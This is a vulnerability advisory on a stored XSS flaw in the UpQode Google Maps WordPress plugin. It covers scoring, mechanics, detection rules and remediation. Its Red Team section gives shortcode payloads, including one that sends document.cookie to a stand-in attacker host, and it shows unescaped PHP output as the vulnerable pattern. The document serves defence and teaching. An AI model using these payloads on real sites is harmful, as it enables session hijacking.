CVE-2023-0094

Executive Summary

CVE-2023-0094 is a Stored Cross-Site Scripting (XSS) vulnerability in the UpQode Google Maps WordPress plugin, affecting versions up to and including 1.0.5. The plugin fails to properly validate and escape shortcode attributes before outputting them in a page or post where the shortcode is embedded. This allows authenticated users with at least the Contributor role to inject arbitrary JavaScript into the WordPress site, leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability is publicly known, but no official patch has been released by the vendor, making it a persistent risk for all sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and potentially through third-party marketplaces. Since no patch is available, site administrators must consider removing the plugin entirely or implementing a Web Application Firewall (WAF) rule to mitigate the risk. The lack of a patch increases the supply chain risk, as any site using this plugin remains vulnerable indefinitely.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor role)
• User Interaction: Required (victim must view the compromised page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access (Contributor role) and user interaction, but the impact can be significant if exploited in a high-traffic site or against privileged users.

Deep Dive & Mechanics

The UpQode Google Maps plugin registers a shortcode (e.g., [upqode-google-maps]) that allows users to embed Google Maps in posts and pages. The shortcode accepts attributes such as address, zoom, width, and height. The plugin outputs these attributes directly into the HTML without proper sanitization or escaping.

For example, the shortcode [upqode-google-maps address="<script>alert('XSS')</script>"] would render the injected script in the page source. Since the shortcode can be used by Contributors (who can publish posts), the malicious script is stored in the database and executed whenever the page is viewed.

The vulnerability lies in the plugin's failure to use WordPress's built-in escaping functions like esc_attr() or wp_kses() on shortcode attributes before outputting them. This is a classic case of Stored XSS, where the payload persists across sessions.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only reference. The plugin likely uses something like:

// Vulnerable code (conceptual)
echo '<div class="upqode-map" data-address="' . $atts['address'] . '">';

A patched version would use:

// Patched code (conceptual)
echo '<div class="upqode-map" data-address="' . esc_attr($atts['address']) . '">';

Without a patch, users must rely on external mitigations.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with UpQode Google Maps plugin <= 1.0.5
• User account with Contributor role or higher

Exploit Steps:

1. Create a new post or edit an existing one.
2. Insert the shortcode with a malicious payload in the address attribute:

   [upqode-google-maps address="<img src=x onerror=alert('XSS')>"]
   

3. Publish the post.
4. When any user (including admins) views the post, the JavaScript executes.

Advanced Payload:

[upqode-google-maps address="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team

Detection:

• Monitor for posts containing the shortcode [upqode-google-maps] with suspicious attributes.
• Use a WAF to block requests containing <script> or onerror in shortcode attributes.
• Regularly scan the database for stored XSS payloads.

Mitigation:

• Remove the plugin if not essential.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict Contributor roles from using shortcodes via user role editor plugins.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/upqode-google-maps/ (presence of the plugin)
• Database: Posts/pages containing the shortcode [upqode-google-maps] with HTML/JavaScript in attributes
• Network: Outbound connections to attacker-controlled domains from the WordPress site
• Logs: HTTP requests to /wp-admin/post.php or /wp-admin/post-new.php with shortcode parameters containing <script> tags

Detection Engineering

YARA Rule

rule CVE_2023_0094_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in UpQode Google Maps shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-0094"
    strings:
        $shortcode = /\[upqode-google-maps[^\]]*\]/ nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
    condition:
        $shortcode and ($xss_payload or $xss_event)
}

Sigma Rule

title: CVE-2023-0094 Stored XSS via UpQode Google Maps Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts using the UpQode Google Maps shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: '/wp-admin/post.php'
        http.url|contains: 'upqode-google-maps'
        http.body|contains|all:
            - 'address='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-0094 Stored XSS in UpQode Google Maps"; flow:to_server,established; content:"/wp-admin/post.php"; http_uri; content:"upqode-google-maps"; http_uri; content:"address="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove the UpQode Google Maps plugin from all WordPress installations.
2. Alternative: Use a different, actively maintained Google Maps plugin.
3. WAF Rule: Block requests containing <script> or event handlers in shortcode attributes.
4. User Role Hardening: Restrict Contributor and Author roles from using shortcodes via plugins like "User Role Editor".
5. CSP Header: Implement a Content Security Policy that blocks inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self' https://maps.googleapis.com;
   

6. Monitor: Regularly scan posts and pages for suspicious shortcode usage.

Valters IT
Securing Digital Frontiers